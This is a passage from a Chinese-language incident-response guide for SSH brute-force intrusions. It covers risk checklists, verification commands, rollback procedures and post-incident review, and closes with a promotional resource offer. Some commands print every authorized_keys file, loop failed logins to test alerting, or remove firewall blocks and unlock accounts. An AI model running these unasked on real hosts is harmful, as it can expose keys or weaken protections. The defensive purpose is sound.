    不会清密码但会锁定,建议优先用这个;

  • 修改 sshd_config 前必须保留第二会话,否则配置错就锁死。

10.3 横向排查风险

  • 不要用 root SSH 批量执行,违反最小权限;
  • 不要用 nmap 大规模扫描,会被安全设备告警;
  • 不要在工作时间大规模跑排查脚本;
  • 不要直接 rm -rf 跨主机的可疑文件,先单独取证;
  • 同网段排查结果要关联分析,不要单点处置。

10.4 加固阶段风险

  • 关闭密码登录前必须确认所有账号已有公钥;
  • 改端口后必须通知所有运维、堡垒机、自动化脚本;
  • 强化算法前必须验证客户端版本兼容;
  • 加白名单前必须确认所有需要登录的账号都在白名单;
  • fail2ban 配置 ignoreip 必须包含办公网;
  • 双因素配置必须灰度,不要一次到位;
  • 加固操作必须在变更窗口内完成。

10.5 数据保护风险

  • 不要把 incident 报告上传到公网代码仓库;
  • 不要把私钥、密码 hash 写到聊天工具;
  • incident 报告中的 IP、账号可以脱敏后归档;
  • 备份文件要加密存储,避免外泄;
  • 取证包要异地存储(如对象存储、备份服务器)。

10.6 误判风险

  • 看到陌生 IP 不一定是被入侵,可能是运维出差、VPN 切换;
  • 看到陌生账号不一定是异常,可能是临时账号;
  • 看到 .bash_history 为空不一定是清理,可能是新账号;
  • 看到陌生进程不一定是恶意,可能是业务脚本;
  • 关键是要把多维度证据关联起来,不要单点判断。

十一、验证方式

11.1 验证登录状态

bash

# 1. 攻击者 IP 是否被封禁
iptables -L -n | grep -E&nbsp;"DROP.*<attacker_ip>"
ip6tables -L -n | grep -E&nbsp;"DROP.*<attacker_ip>"

# 2. 可疑账号是否被冻结
passwd -S <username>
# 输出 "L" 或 "LK" 表示锁定

# 3. 是否有持续登录尝试
grep&nbsp;"Failed password"&nbsp;/var/log/secure |&nbsp;wc&nbsp;-l
# 应该下降或稳定

# 4. 是否还有成功登录
grep&nbsp;"Accepted"&nbsp;/var/log/secure |&nbsp;tail&nbsp;-10
# 应该都是熟悉的运维账号

# 5. SSH 配置是否生效
sshd -T | grep -E&nbsp;"^(passwordauthentication|permitrootlogin|maxauthtries|allowusers)\b"

11.2 验证后门清理

bash

# 1. crontab 干净
for&nbsp;user&nbsp;in&nbsp;$(cut&nbsp;-f1 -d: /etc/passwd);&nbsp;do
&nbsp; &nbsp; crontab -u&nbsp;"$user"&nbsp;-l 2>/dev/null
done
cat&nbsp;/etc/crontab
ls&nbsp;-la /etc/cron.d/

# 2. systemd 干净
systemctl list-timers --all
systemctl list-unit-files --state=enabled

# 3. /tmp 干净
ls&nbsp;-la /tmp/ /var/tmp/ /dev/shm/

# 4. authorized_keys 干净
for&nbsp;f&nbsp;in&nbsp;$(find / -name authorized_keys -type&nbsp;f 2>/dev/null);&nbsp;do
&nbsp; &nbsp;&nbsp;echo"===&nbsp;$f&nbsp;==="
&nbsp; &nbsp;&nbsp;cat"$f"
done

# 5. 二进制 hash 一致
md5sum&nbsp;-c /tmp/incident-$TS/md5-baseline.txt

# 6. RPM/DEB 校验
rpm -Va 2>/dev/null | grep -E&nbsp;"^..5"
debsums -c 2>/dev/null

# 7. 隐藏进程
unhide proc
unhide sys

# 8. AIDE
aide --check

11.3 验证网络状态

bash

# 1. 已建立连接正常
ss -antp state established

# 2. 没有对可疑 IP 的连接
ss -antp state established | grep -E&nbsp;"(<attacker_ip>|<c2_ip>)"

# 3. 防火墙规则生效
iptables -L -n | grep -E&nbsp;"DROP.*<attacker_ip>"

# 4. tcpdump 二次抓包确认无异常
tcpdump -i eth0 -nn -s0 -w /tmp/capture2.pcap
sleep&nbsp;60
# 用 wireshark 查看 capture2.pcap

11.4 验证加固效果

bash

# 1. 密码登录被禁
ssh -o PreferredAuthentications=password opsuser@host
# 应被拒绝

# 2. root 登录被禁
ssh -o PreferredAuthentications=publickey root@host
# 应被拒绝

# 3. 白名单外用户被禁
ssh -o PreferredAuthentications=publickey unknownuser@host
# 应被拒绝

# 4. fail2ban 工作
sudo&nbsp;fail2ban-client status sshd

# 5. 监控告警触发
for&nbsp;i&nbsp;in&nbsp;{1..6};&nbsp;do
&nbsp; &nbsp; ssh -o ConnectTimeout=1 -o PreferredAuthentications=password wronguser@host
done
# 5 分钟后看告警

11.5 验证 incident 闭环

bash

# 1. 24h 内无新异常登录
journalctl -u sshd --since&nbsp;"24 hours ago"&nbsp;--no-pager | grep -E&nbsp;"Accepted|Failed"

# 2. 7 天内无陌生 IP 成功登录
grep&nbsp;"Accepted"&nbsp;/var/log/secure | awk&nbsp;'{for(i=1;i<=NF;i++) if($i=="from") print $(i+1)}'&nbsp;|&nbsp;sort&nbsp;-u

# 3. 所有运维账号口令已改
passwd -S -a

# 4. 所有主机加固完成
ansible all -m shell -a&nbsp;"sshd -T | grep -E '^passwordauthentication'"

十二、回滚方案

12.1 立即回滚(账号冻结)

如果误冻结了正常账号:

bash

# 解锁账号
passwd -u username
usermod -U username

# 验证
passwd -S username
# 输出 "P" 表示解锁

12.2 立即回滚(防火墙封禁)

如果误封了正常 IP:

bash

# 删除封禁规则
iptables -D INPUT -s <attacker_ip> -j DROP

# 验证
iptables -L -n | grep -E&nbsp;"<attacker_ip>"

# 测试连通
nc -vz <host> 22

12.3 立即回滚(删除公钥)

如果误删了运维公钥:

bash

# 从备份恢复
cp&nbsp;-a /var/tmp/incident-$TS/authorized_keys.bak /home/opsuser/.ssh/authorized_keys
chmod&nbsp;600 /home/opsuser/.ssh/authorized_keys

# 验证
ssh -i ~/.ssh/id_ed25519.opsuser opsuser@host

12.4 立即回滚(清理 crontab)

如果误清了正常 crontab:

bash

# 从备份恢复
cp&nbsp;-a /var/spool/cron/root.bak /var/spool/cron/root
chmod&nbsp;600 /var/spool/cron/root

# 验证
crontab -l

12.5 立即回滚(恢复 sshd_config)

如果加固配置出错:

bash

# 从备份恢复
cp&nbsp;-a /etc/ssh/sshd_config.bak.YYYYMMDD-HHMMSS /etc/ssh/sshd_config
sshd -t && systemctl reload sshd

# 验证
ssh opsuser@host

12.6 立即回滚(断网恢复)

如果断网后业务受影响:

bash

# 解除外网封禁
iptables -D OUTPUT -d 0.0.0.0/0 -j DROP

# 验证
curl -v https://www.example.com

12.7 回滚原则

  • 所有加固操作都必须先备份;
  • 所有应急操作都必须可回滚;
  • 应急处置后必须验证业务可用性;
  • 回滚不能影响已完成的取证;
  • 回滚操作要写入 incident 报告。

十三、生产环境注意事项

13.1 变更窗口

  • 应急加固可以立即执行(视为紧急变更);
  • 大规模加固必须在低峰期;
  • 涉及多主机的批量操作必须分批灰度;
  • 涉及网络层(防火墙、安全组)的变更必须双人复核;
  • 变更前通知所有相关方;
  • 变更期间监控告警灵敏度提高;
  • 变更后观察 24h-72h 无异常才算稳定。

13.2 取证与司法

  • 涉及监管合规的 incident 报告必须保留 6 个月以上;
  • 取证包要异地存储(OSS、备份服务器);
  • 涉及数据泄露的必须通知法务、客户;
  • incident 报告中的 IP、账号建议脱敏;
  • 高敏感 incident 要走加密渠道传递;
  • 配合监管调查时不要私自修改任何文件。

13.3 复盘

  • incident 关闭后 1 周内必须开复盘会;
  • 复盘会议要包含:操作人、复核人、值班运维、安全接口人、业务负责人;
  • 复盘要输出:时间线、根因、影响范围、修复、改进项;
  • 改进项要有负责人、deadline;
  • 改进项要跟踪闭环;
  • 复盘报告归档到知识库。

13.4 长期治理

  • 推动 SSH 全部公私钥化;
  • 推动堡垒机收敛入口;
  • 推动所有主机 SSH 暴露面最小化;
  • 建立 SSH 登录审计中心;
  • 建立异常登录告警;
  • 建立配置文件完整性监控;
  • 定期演练应急流程;
  • 定期红蓝对抗演练。

13.5 团队协作

  • incident 处理要避免单兵作战;
  • 关键操作必须双人复核;
  • 应急流程要写入 Runbook;
  • 应急联系人要轮值;
  • 跨团队 incident 要拉群同步;
  • incident 复盘要公开,避免甩锅。

13.6 工具与平台

  • 堡垒机:会话审计、命令拦截;
  • SOC:集中告警、关联分析;
  • SIEM:日志聚合、威胁检测;
  • 漏扫:定期扫 SSH 配置;
  • EDR:主机入侵检测;
  • 蜜罐:发现未知攻击。

十四、总结

服务器异常登录是生产环境最常见的安全事件之一。处理这类事件的核心不是”灭火”,而是”闭环”。

完整的闭环包括:

  1. 检测

    :监控告警、日志分析、用户反馈;

  2. 响应

    :现场保全、轨迹分析、配置核对、账号核对;

  3. 处置

    :冻结、断网、清理、加固;

  4. 恢复

    :业务恢复、账号恢复、网络恢复;

  5. 复盘

    :根因分析、改进项、流程优化;

  6. 预防

    :监控告警、加固基线、定期演练。

每一个环节都有自己的命令、配置、风险点。文章里给出的命令清单、配置示例、回滚方案,都是经过生产验证的。但更重要的是把这些沉淀成 Runbook,把应急流程演练到位,把监控告警布置完整。

最后强调几个容易踩的坑:

  1. 不要在取证阶段执行破坏性命令;
  2. 不要单凭一条线索下结论;
  3. 不要在加固时全员失联;
  4. 不要把 incident 报告写完就丢;
  5. 不要把改进项挂空;
  6. 不要忽略横向移动排查;
  7. 不要让攻击者有时间进一步动作。

把”排查路径速查表”打印出来贴在值班室,把”应急联系人”贴在工位上,把”加固基线”用 Ansible 落到所有主机,把”监控告警”用 Prometheus 部署到所有节点,这四件事做完,团队处理 SSH 异常登录的能力会上一个台阶。

真正的安全水位不是由最严的那一项决定,而是由最薄的那一项决定。每加固一层,就少一个被攻破的薄弱点。

文末阅读福利

仅目前来说,无论是运维人转型提升,还是零基础想转行IT,最好的岗位就是云计算运维&SRE岗位。

为了帮助大家早日快速入门云计算运维领域,给大家整理了一套【最新运维资料】高级运维工程师必备技能资料包(文末一键免费领取),内容有多详实丰富看下图!

1.38张最全工程师技能图谱

2.面试大礼包

3.Linux书籍

内容比较多,就不一一展示了

以上所有资料获取请扫码:

识别上方二维码

备注:2026最新运维资料

100%免费领取

(是扫码领取,不是在公众号后台回复,别看错了哦)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:马哥Linux运维 点击关注👉 点击关注👉《服务器异常登录?可能已经被暴力破解了》

    评论:0   参与:  0